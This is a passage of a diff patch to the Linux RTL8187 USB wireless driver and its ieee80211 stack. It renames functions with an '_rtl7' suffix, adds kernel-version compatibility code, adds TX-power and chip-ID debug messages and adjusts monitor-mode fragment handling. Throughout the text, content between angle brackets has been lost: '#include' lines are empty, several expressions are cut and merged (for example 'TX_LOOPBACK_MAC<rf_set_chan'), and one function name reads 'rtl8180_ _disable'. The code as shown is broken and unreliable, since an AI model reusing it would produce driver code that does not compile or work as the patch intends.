%x", i, eprom_read(dev,i)); + DMESG("EEPROM addr %02X : %04X", i, eprom_read(dev,i)); +} + +/* this is only for debug */ +void dump_tx_power(struct net_device *dev) +{ + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int i; + DMESG("CCK TX-Power (b-mode):"); + for(i=1; i<=14; i++) + DMESG("Channel %d: %d", i, priv->chtxpwr[i]); + DMESG("OFDM TX-Power (g-mode):"); + for(i=1; i<=14; i++) + DMESG("Channel %d: %d", i, priv->chtxpwr_ofdm[i]); } /* this is only for debug */ @@ -575,9 +598,9 @@ for(n=0;n<=max;) { - printk( "\nD: %2x> ", n); + printk( "\nD: %02X> ", n); for(i=0;i<16 && n<=max;i++,n++) - printk("%2x ",read_nic_byte(dev,n)); + printk("%02X ",read_nic_byte(dev,n)); } printk("\n"); } @@ -589,7 +612,7 @@ void rtl8180_irq_enable(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); //priv->irq_enabled = 1; /* write_nic_word(dev,INTA_MASK,INTA_RXOK | INTA_RXDESCERR | INTA_RXOVERFLOW |\ @@ -603,7 +626,7 @@ void rtl8180_irq_disable(struct net_device *dev) { -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); +// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); write_nic_word(dev,INTA_MASK,0); force_pci_posting(dev); @@ -625,7 +648,7 @@ void rtl8180_update_msr(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); u8 msr; msr = read_nic_byte(dev, MSR); @@ -653,7 +676,7 @@ void rtl8180_set_chan(struct net_device *dev,short ch) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); u32 tx; priv->chan=ch; #if 0 @@ -670,20 +693,20 @@ tx = read_nic_dword(dev,TX_CONF); tx &= ~TX_LOOPBACK_MASK; -#ifndef LOOP_TEST +#ifndef LOOP_TEST write_nic_dword(dev,TX_CONF, tx |( TX_LOOPBACK_MAC<rf_set_chan(dev,priv->chan); mdelay(10); - write_nic_dword(dev,TX_CONF,tx | (TX_LOOPBACK_NONE<rx_urb) DMESGE("Cannot intiate RX urb mechanism"); @@ -721,7 +744,7 @@ void rtl8187_set_rxconf(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); u32 rxconf; rxconf=read_nic_dword(dev,RX_CONF); @@ -810,7 +833,7 @@ u8 cmd; u8 byte; u32 txconf; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); byte = read_nic_byte(dev,CW_CONF); byte &= ~(1<dma_poll_mask &=~(1<dma_poll_mask); @@ -900,7 +923,7 @@ void rtl8180_ _disable(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); priv->dma_poll_mask |= (1<dma_poll_mask); @@ -914,7 +937,7 @@ { u8 cmd; int i; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); cmd=read_nic_byte(dev,CMD); write_nic_byte(dev, CMD, cmd &~ \ @@ -939,7 +962,7 @@ #if 0 int i; u32 *tmp; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); priv->txbeaconring = (u32*)pci_alloc_consistent(priv->pdev, sizeof(u32)*8*count, @@ -1051,7 +1074,7 @@ void rtl8187_rx_isr(struct urb *rx_urb, struct pt_regs *regs) { struct net_device *dev = (struct net_device*)rx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); priv->rxurb_task = rx_urb; // DMESGW("David: Rx tasklet start!"); @@ -1062,7 +1085,7 @@ #if 0 void rtl8180_tx_queues_stop(struct net_device *dev) { - //struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + //struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); u8 dma_poll_mask = (1<dma_poll_mask |= (1<dma_poll_mask); @@ -1091,7 +1114,7 @@ { // FIXME !! #if 0 - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); priv->dma_poll_mask &= ~(1<dma_poll_mask); @@ -1105,14 +1128,17 @@ */ void rtl8180_hard_data_xmit(struct sk_buff *skb, struct net_device *dev, int rate) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); short morefrag = 0; unsigned long flags; struct ieee80211_hdr *h = (struct ieee80211_hdr *) skb->data; if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS) - morefrag = 1; + { + if(priv->ieee80211->iw_mode != IW_MODE_MONITOR || priv->ieee80211->raw_tx != 1) + morefrag = 1; + } // DMESG("%x %x", h->frame_ctl, h->seq_ctl); /* * This function doesn't require lock because we make @@ -1126,7 +1152,7 @@ //DMESG("TX"); if (!check_nic_enought_desc(dev, LOW_PRIORITY)){ DMESG("Error: no TX slot "); - ieee80211_stop_queue(priv->ieee80211); + ieee80211_stop_queue_rtl7(priv->ieee80211); } rtl8180_tx(dev, (u32*)skb->data, skb->len, LOW_PRIORITY, morefrag, @@ -1135,7 +1161,7 @@ priv->stats.txdatapkt++; if (!check_nic_enought_desc(dev, LOW_PRIORITY)) - ieee80211_stop_queue(priv->ieee80211); + ieee80211_stop_queue_rtl7(priv->ieee80211); spin_unlock_irqrestore(&priv->tx_lock,flags); @@ -1148,7 +1174,7 @@ */ int rtl8180_hard_start_xmit(struct sk_buff *skb,struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); int ret; unsigned long flags; @@ -1228,7 +1254,7 @@ void rtl8187_lptx_isr(struct urb *tx_urb, struct pt_regs *regs) { struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(tx_urb->status == 0) priv->stats.txlpokint++; else @@ -1259,7 +1285,7 @@ void rtl8187_net_update(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); struct ieee80211_network *net; net = & priv->ieee80211->current_network; @@ -1283,13 +1309,13 @@ void rtl8187_beacon_tx(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); struct sk_buff *skb; int i = 0; rtl8187_net_update(dev); - skb = ieee80211_get_beacon(priv->ieee80211); + skb = ieee80211_get_beacon_rtl7(priv->ieee80211); if(!skb){ @@ -1327,7 +1353,7 @@ void rtl8187_nptx_isr(struct urb *tx_urb, struct pt_regs *regs) { struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(tx_urb->status == 0) priv->stats.txnpokint++; else @@ -1353,7 +1379,7 @@ int status; struct urb *tx_urb; int urb_len; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); // int rate = ieeerate2rtlrate(priv->ieee80211->rate); pend = atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending); @@ -1445,7 +1471,7 @@ short rtl8187_usb_initendpoints(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; priv->rx_urb = (struct urb**) kmalloc (sizeof(struct urb*) * MAX_RX_URB, GFP_KERNEL); @@ -1483,7 +1509,7 @@ void rtl8187_usb_deleteendpoints(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; if(priv->rx_urb){ @@ -1506,9 +1532,9 @@ u16 word; int basic_rate,min_rr_rate,max_rr_rate; -// struct r8180_priv *priv = ieee80211_priv(dev); +// struct r8180_priv *priv = ieee80211_priv_rtl7(dev); - //if (ieee80211_is_54g(priv->ieee80211->current_network) && + //if (ieee80211_is_54g_rtl7(priv->ieee80211->current_network) && // priv->ieee80211->state == IEEE80211_LINKED){ basic_rate = ieeerate2rtlrate(240); min_rr_rate = ieeerate2rtlrate(60); @@ -1540,7 +1566,7 @@ { // int i; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); //write_nic_word(dev, BintrItv, net->beacon_interval); rtl8187_net_update(dev); /*update timing params*/ @@ -1554,13 +1580,13 @@ short rtl8180_init(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i, j; u16 word; - int ch; + int ch, chans; //u16 version; - //u8 hw_version; - //u8 config3; + u8 hw_version; + u8 config3; //FIXME: these constants are placed in a bad pleace. @@ -1580,6 +1606,13 @@ return -1; } ch=channels; + chans=0; + for (i=1; i<=14; i++) { + if( (u8)(ch & 0x01) ) chans++; + ch >>= 1; + } + DMESG("Enabling %d channels.", chans); + ch=channels; // set channels 1..14 allowed in given locale for (i=1; i<=14; i++) { (priv->ieee80211->channel_map)[i] = (u8)(ch & 0x01); @@ -1588,6 +1621,8 @@ //memcpy(priv->stats,0,sizeof(struct Stats)); //priv->irq_enabled=0; + + priv->dev = dev; // priv->stats.rxdmafail=0; priv->stats.txrdu=0; @@ -1622,7 +1657,11 @@ priv->ieee80211->mode = IEEE_G; priv->promisc = (dev->flags & IFF_PROMISC) ? 1:0; spin_lock_init(&priv->tx_lock); +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) INIT_WORK(&priv->reset_wq,(void(*)(void*)) rtl8180_restart,dev); +#else + INIT_WORK(&priv->reset_wq, rtl8180_restart); +#endif sema_init(&priv->wx_sem,1); tasklet_init(&priv->irq_rx_tasklet, (void(*)(unsigned long))rtl8180_irq_rx_tasklet, @@ -1716,6 +1755,12 @@ priv->enable_gpio0 = 0; + hw_version =( read_nic_dword(dev, TCR) & TCR_HWVERID_MASK)>>TCR_HWVERID_SHIFT; + config3 = read_nic_byte(dev, CONFIG3); + + DMESG("MAC chip version: %02X", hw_version); + DMESG("Card type: %02X", config3); + /* commented out just because we already do this when resetting the card andrea 20050924 @@ -1807,6 +1852,12 @@ priv->rf_chip = 0xff & eprom_read(dev,EPROM_RFCHIPID); + +#ifdef DEBUG_TX_POWER + dump_tx_power(dev); +#endif + + DMESG("RF Chip ID: %02X", priv->rf_chip); word = eprom_read(dev,EPROM_TXPW_BASE); priv->cck_txpwr_base = word & 0xf; @@ -1988,7 +2039,7 @@ void rtl8180_adapter_start(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); //u32 anaparam; //u8 config3; @@ -2077,7 +2128,7 @@ void rtl8180_start_tx_beacon(struct net_device *dev) { int i; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); u16 word; DMESG("Enabling beacon TX"); //write_nic_byte(dev, 0x42,0xe6);// TCR @@ -2135,7 +2186,7 @@ ***************************************************************************/ static struct net_device_stats *rtl8180_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); return &priv->ieee80211->stats; } @@ -2143,36 +2194,32 @@ int _rtl8180_up(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); priv->up=1; - //DMESG("Bringing up iface"); +// DMESG("Bringing up iface"); rtl8180_adapter_start(dev); - rtl8180_rx_enable(dev); - rtl8180_tx_enable(dev); - - ieee80211_softmac_start_protocol(priv->ieee80211); - - ieee80211_reset_queue(priv->ieee80211); + ieee80211_softmac_start_protocol_rtl7(priv->ieee80211); + ieee80211_reset_queue_rtl7(priv->ieee80211); if(!netif_queue_stopped(dev)) netif_start_queue(dev); else netif_wake_queue(dev); - return 0; } int rtl8180_open(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; down(&priv->wx_sem); + ret = rtl8180_up(dev); up(&priv->wx_sem); return ret; @@ -2182,7 +2229,7 @@ int rtl8180_up(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 1) return -1; @@ -2192,7 +2239,7 @@ int rtl8180_close(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; down(&priv->wx_sem); @@ -2207,7 +2254,7 @@ int rtl8180_down(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 0) return -1; @@ -2220,7 +2267,7 @@ rtl8180_rtx_disable(dev); rtl8180_irq_disable(dev); - ieee80211_softmac_stop_protocol(priv->ieee80211); + ieee80211_softmac_stop_protocol_rtl7(priv->ieee80211); return 0; } @@ -2228,23 +2275,28 @@ void rtl8180_commit(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 0) return ; - ieee80211_softmac_stop_protocol(priv->ieee80211); + ieee80211_softmac_stop_protocol_rtl7(priv->ieee80211); rtl8180_irq_disable(dev); rtl8180_rtx_disable(dev); _rtl8180_up(dev); } +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void rtl8180_restart(struct work_struct *work) +{ + struct r8180_priv *priv = container_of(work, struct r8180_priv, reset_wq); + struct net_device *dev = priv->dev; +#else void rtl8180_restart(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); +#endif down(&priv->wx_sem); - rtl8180_commit(dev); up(&priv->wx_sem); @@ -2252,7 +2304,7 @@ static void r8180_set_multicast(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short promisc; //down(&priv->wx_sem); @@ -2273,7 +2325,7 @@ int r8180_set_mac_adr(struct net_device *dev, void *mac) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); struct sockaddr *addr = mac; down(&priv->wx_sem); @@ -2291,8 +2343,9 @@ /* based on ipw2200 driver */ int rtl8180_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); struct iwreq *wrq = (struct iwreq *)rq; @@ -2300,7 +2353,7 @@ int ret=-1; switch (cmd) { case RTL_IOCTL_WPA_SUPPLICANT: - ret = ieee80211_wpa_supplicant_ioctl(priv->ieee80211, &wrq->u.data); + ret = ieee80211_wpa_supplicant_ioctl_rtl7(priv->ieee80211, &wrq->u.data); break; default: @@ -2346,7 +2399,8 @@ if( flen <= rx_urb->actual_length){ - stats.signal = (desc[1] & 0x7f00)>>8; +// stats.signal = (desc[1] & 0x7f00)>>8; + stats.signal = (desc[1] & 0xff00)>>8; stats.noise = desc[1] &0xff; stats.rate = desc[0] >> 20 & 0xf; stats.mac_time[0] = desc[2]; @@ -2368,7 +2422,9 @@ // priv->rxskb = skb; // priv->tempstats = &stats; - if(!ieee80211_rx(priv->ieee80211, + + stats.signal -= stats.noise; + if(!ieee80211_rx_rtl7(priv->ieee80211, skb, &stats)) dev_kfree_skb_any(skb); } @@ -2398,14 +2454,14 @@ //printk("===> rtl8187_usb_probe()\n"); - dev = alloc_ieee80211(sizeof(struct r8180_priv)); + dev = alloc_ieee80211_rtl7(sizeof(struct r8180_priv)); SET_MODULE_OWNER(dev); usb_set_intfdata(intf, dev); SET_NETDEV_DEV(dev, &intf->dev); - priv = ieee80211_priv(dev); + priv = ieee80211_priv_rtl7(dev); priv->ieee80211 = netdev_priv(dev); priv->udev=udev; @@ -2418,7 +2474,12 @@ dev->do_ioctl = rtl8180_ioctl; dev->set_multicast_list = r8180_set_multicast; dev->set_mac_address = r8180_set_mac_adr; +#if WIRELESS_EXT >= 12 +#if WIRELESS_EXT < 17 dev->get_wireless_stats = r8180_get_wireless_stats; +#endif + dev->wireless_handlers = (struct iw_handler_def *) &r8180_wx_handlers_def; +#endif dev->type=ARPHRD_ETHER; if (dev_alloc_name(dev, ifname) < 0){ @@ -2447,7 +2508,7 @@ fail: - free_ieee80211(dev); + free_ieee80211_rtl7(dev); DMESG("wlan driver load failed\n"); @@ -2464,7 +2525,7 @@ unregister_netdev(dev); - priv=ieee80211_priv(dev); + priv=ieee80211_priv_rtl7(dev); rtl8180_proc_remove_one(dev); @@ -2478,12 +2539,12 @@ } // pci_disable_device(pdev); - free_ieee80211(dev); + free_ieee80211_rtl7(dev); DMESG("wlan driver removed\n"); } -static int __init rtl8187_usb_module_init(void) +static int __init rtl8187_usb_module_init_rtl7(void) { printk(KERN_INFO "\nLinux kernel driver for RTL8187 \ based WLAN cards\n"); @@ -2495,7 +2556,7 @@ } -static void __exit rtl8187_usb_module_exit(void) +static void __exit rtl8187_usb_module_exit_rtl7(void) { usb_deregister(&rtl8187_usb_driver); @@ -2508,14 +2569,14 @@ { unsigned long flags; short enough_desc; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); spin_lock_irqsave(&priv->tx_lock,flags); enough_desc = check_nic_enought_desc(dev,pri); spin_unlock_irqrestore(&priv->tx_lock,flags); if(enough_desc) - ieee80211_wake_queue(priv->ieee80211); + ieee80211_wake_queue_rtl7(priv->ieee80211); } @@ -2523,5 +2584,5 @@ /*************************************************************************** ------------------- module init / exit stubs ---------------- ****************************************************************************/ -module_init(rtl8187_usb_module_init); -module_exit(rtl8187_usb_module_exit); +module_init(rtl8187_usb_module_init_rtl7); +module_exit(rtl8187_usb_module_exit_rtl7); diff -Naur rtl8187_orig/beta-8187/r8187.h rtl8187_txpower/beta-8187/r8187.h --- rtl8187_orig/beta-8187/r8187.h 2006-06-06 08:48:10.000000000 +0200 +++ rtl8187_txpower/beta-8187/r8187.h 2007-02-26 03:05:07.891426549 +0100 @@ -26,7 +26,6 @@ #include #include -#include #include #include #include @@ -47,6 +46,10 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#endif + #include "ieee80211.h" #define EPROM_93c46 0 @@ -148,7 +151,7 @@ u8 challow[15]; //channels from 1 to 14, 0 not used short up; short crcmon; //if 1 allow bad crc frame reception in monitor mode -// short prism_hdr; + short prism_hdr; // struct timer_list scan_timer; /*short scanpending; diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt.c rtl8187_txpower/ieee80211/ieee80211_crypt.c --- rtl8187_orig/ieee80211/ieee80211_crypt.c 2006-06-06 04:57:56.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211_crypt.c 2007-02-26 03:05:15.811546022 +0100 @@ -11,7 +11,6 @@ * */ -#include #include #include #include @@ -19,6 +18,10 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#endif + #include "ieee80211.h" MODULE_AUTHOR("Jouni Malinen"); @@ -38,7 +41,7 @@ static struct ieee80211_crypto *hcrypt; -void ieee80211_crypt_deinit_entries(struct ieee80211_device *ieee, +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *ieee, int force) { struct list_head *ptr, *n; @@ -61,13 +64,13 @@ } } -void ieee80211_crypt_deinit_handler(unsigned long data) +void ieee80211_crypt_deinit_handler_rtl7(unsigned long data) { struct ieee80211_device *ieee = (struct ieee80211_device *)data; unsigned long flags; spin_lock_irqsave(&ieee->lock, flags); - ieee80211_crypt_deinit_entries(ieee, 0); + ieee80211_crypt_deinit_entries_rtl7(ieee, 0); if (!list_empty(&ieee->crypt_deinit_list)) { printk(KERN_DEBUG "%s: entries remaining in delayed crypt " "deletion list\n", ieee->dev->name); @@ -78,7 +81,7 @@ } -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt) { struct ieee80211_crypt_data *tmp; @@ -103,7 +106,7 @@ spin_unlock_irqrestore(&ieee->lock, flags); } -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops) +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops) { unsigned long flags; struct ieee80211_crypto_alg *alg; @@ -128,7 +131,7 @@ return 0; } -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops) +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops) { unsigned long flags; struct list_head *ptr; @@ -159,7 +162,7 @@ } -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name) +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name) { unsigned long flags; struct list_head *ptr; @@ -186,13 +189,13 @@ } -static void * ieee80211_crypt_null_init(int keyidx) { return (void *) 1; } -static void ieee80211_crypt_null_deinit(void *priv) {} +static void * ieee80211_crypt_null_init_rtl7(int keyidx) { return (void *) 1; } +static void ieee80211_crypt_null_deinit_rtl7(void *priv) {} static struct ieee80211_crypto_ops ieee80211_crypt_null = { .name = "NULL", - .init = ieee80211_crypt_null_init, - .deinit = ieee80211_crypt_null_deinit, + .init = ieee80211_crypt_null_init_rtl7, + .deinit = ieee80211_crypt_null_deinit_rtl7, .encrypt_mpdu = NULL, .decrypt_mpdu = NULL, .encrypt_msdu = NULL, @@ -205,7 +208,7 @@ }; -static int __init ieee80211_crypto_init(void) +static int __init ieee80211_crypto_init_rtl7(void) { int ret = -ENOMEM; @@ -217,7 +220,7 @@ INIT_LIST_HEAD(&hcrypt->algs); spin_lock_init(&hcrypt->lock); - ret = ieee80211_register_crypto_ops(&ieee80211_crypt_null); + ret = ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_null); if (ret < 0) { kfree(hcrypt); hcrypt = NULL; @@ -227,7 +230,7 @@ } -static void __exit ieee80211_crypto_deinit(void) +static void __exit ieee80211_crypto_deinit_rtl7(void) { struct list_head *ptr, *n; @@ -247,13 +250,13 @@ kfree(hcrypt); } -EXPORT_SYMBOL(ieee80211_crypt_deinit_entries); -EXPORT_SYMBOL(ieee80211_crypt_deinit_handler); -EXPORT_SYMBOL(ieee80211_crypt_delayed_deinit); - -EXPORT_SYMBOL(ieee80211_register_crypto_ops); -EXPORT_SYMBOL(ieee80211_unregister_crypto_ops); -EXPORT_SYMBOL(ieee80211_get_crypto_ops); +EXPORT_SYMBOL(ieee80211_crypt_deinit_entries_rtl7); +EXPORT_SYMBOL(ieee80211_crypt_deinit_handler_rtl7); +EXPORT_SYMBOL(ieee80211_crypt_delayed_deinit_rtl7); + +EXPORT_SYMBOL(ieee80211_register_crypto_ops_rtl7); +EXPORT_SYMBOL(ieee80211_unregister_crypto_ops_rtl7); +EXPORT_SYMBOL(ieee80211_get_crypto_ops_rtl7); -module_init(ieee80211_crypto_init); -module_exit(ieee80211_crypto_deinit); +module_init(ieee80211_crypto_init_rtl7); +module_exit(ieee80211_crypto_deinit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_ccmp.c rtl8187_txpower/ieee80211/ieee80211_crypt_ccmp.c --- rtl8187_orig/ieee80211/ieee80211_crypt_ccmp.c 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211_crypt_ccmp.c 2007-02-26 03:05:15.821546173 +0100 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -22,11 +21,20 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) + #include +#endif + #include "ieee80211.h" #include -#include + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: CCMP"); @@ -59,7 +67,7 @@ u8 rx_b0[AES_BLOCK_LEN], rx_b[AES_BLOCK_LEN], rx_a[AES_BLOCK_LEN]; }; -void ieee80211_ccmp_aes_encrypt(struct crypto_tfm *tfm, +void ieee80211_ccmp_aes_encrypt_rtl7(struct crypto_tfm *tfm, const u8 pt[16], u8 ct[16]) { struct scatterlist src, dst; @@ -75,7 +83,7 @@ crypto_cipher_encrypt(tfm, &dst, &src, AES_BLOCK_LEN); } -static void * ieee80211_ccmp_init(int key_idx) +static void * ieee80211_ccmp_init_rtl7(int key_idx) { struct ieee80211_ccmp_data *priv; @@ -105,7 +113,7 @@ } -static void ieee80211_ccmp_deinit(void *priv) +static void ieee80211_ccmp_deinit_rtl7(void *priv) { struct ieee80211_ccmp_data *_priv = priv; if (_priv && _priv->tfm) @@ -114,7 +122,7 @@ } -static inline void xor_block(u8 *b, u8 *a, size_t len) +static inline void xor_block_rtl7(u8 *b, u8 *a, size_t len) { int i; for (i = 0; i < len; i++) @@ -122,7 +130,7 @@ } -static void ccmp_init_blocks(struct crypto_tfm *tfm, +static void ccmp_init_blocks_rtl7(struct crypto_tfm *tfm, struct ieee80211_hdr *hdr, u8 *pn, size_t dlen, u8 *b0, u8 *auth, u8 *s0) @@ -186,18 +194,18 @@ } /* Start with the first block and AAD */ - ieee80211_ccmp_aes_encrypt(tfm, b0, auth); - xor_block(auth, aad, AES_BLOCK_LEN); - ieee80211_ccmp_aes_encrypt(tfm, auth, auth); - xor_block(auth, &aad[AES_BLOCK_LEN], AES_BLOCK_LEN); - ieee80211_ccmp_aes_encrypt(tfm, auth, auth); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, b0, auth); + xor_block_rtl7(auth, aad, AES_BLOCK_LEN); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, auth, auth); + xor_block_rtl7(auth, &aad[AES_BLOCK_LEN], AES_BLOCK_LEN); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, auth, auth); b0[0] &= 0x07; b0[14] = b0[15] = 0; - ieee80211_ccmp_aes_encrypt(tfm, b0, s0); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, b0, s0); } -static int ieee80211_ccmp_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_ccmp_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_ccmp_data *key = priv; int data_len, i, blocks, last, len; @@ -237,7 +245,7 @@ *pos++ = key->tx_pn[0]; hdr = (struct ieee80211_hdr *) skb->data; - ccmp_init_blocks(key->tfm, hdr, key->tx_pn, data_len, b0, b, s0); + ccmp_init_blocks_rtl7(key->tfm, hdr, key->tx_pn, data_len, b0, b, s0); blocks = (data_len + AES_BLOCK_LEN - 1) / AES_BLOCK_LEN; last = data_len % AES_BLOCK_LEN; @@ -245,13 +253,13 @@ for (i = 1; i <= blocks; i++) { len = (i == blocks && last) ? last : AES_BLOCK_LEN; /* Authentication */ - xor_block(b, pos, len); - ieee80211_ccmp_aes_encrypt(key->tfm, b, b); + xor_block_rtl7(b, pos, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b, b); /* Encryption, with counter */ b0[14] = (i >> 8) & 0xff; b0[15] = i & 0xff; - ieee80211_ccmp_aes_encrypt(key->tfm, b0, e); - xor_block(pos, e, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b0, e); + xor_block_rtl7(pos, e, len); pos += len; } @@ -262,7 +270,7 @@ } -static int ieee80211_ccmp_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_ccmp_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_ccmp_data *key = priv; u8 keyidx, *pos; @@ -326,8 +334,8 @@ return -4; } - ccmp_init_blocks(key->tfm, hdr, pn, data_len, b0, a, b); - xor_block(mic, b, CCMP_MIC_LEN); + ccmp_init_blocks_rtl7(key->tfm, hdr, pn, data_len, b0, a, b); + xor_block_rtl7(mic, b, CCMP_MIC_LEN); blocks = (data_len + AES_BLOCK_LEN - 1) / AES_BLOCK_LEN; last = data_len % AES_BLOCK_LEN; @@ -337,11 +345,11 @@ /* Decrypt, with counter */ b0[14] = (i >> 8) & 0xff; b0[15] = i & 0xff; - ieee80211_ccmp_aes_encrypt(key->tfm, b0, b); - xor_block(pos, b, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b0, b); + xor_block_rtl7(pos, b, len); /* Authentication */ - xor_block(a, pos, len); - ieee80211_ccmp_aes_encrypt(key->tfm, a, a); + xor_block_rtl7(a, pos, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, a, a); pos += len; } @@ -365,7 +373,7 @@ } -static int ieee80211_ccmp_set_key(void *key, int len, 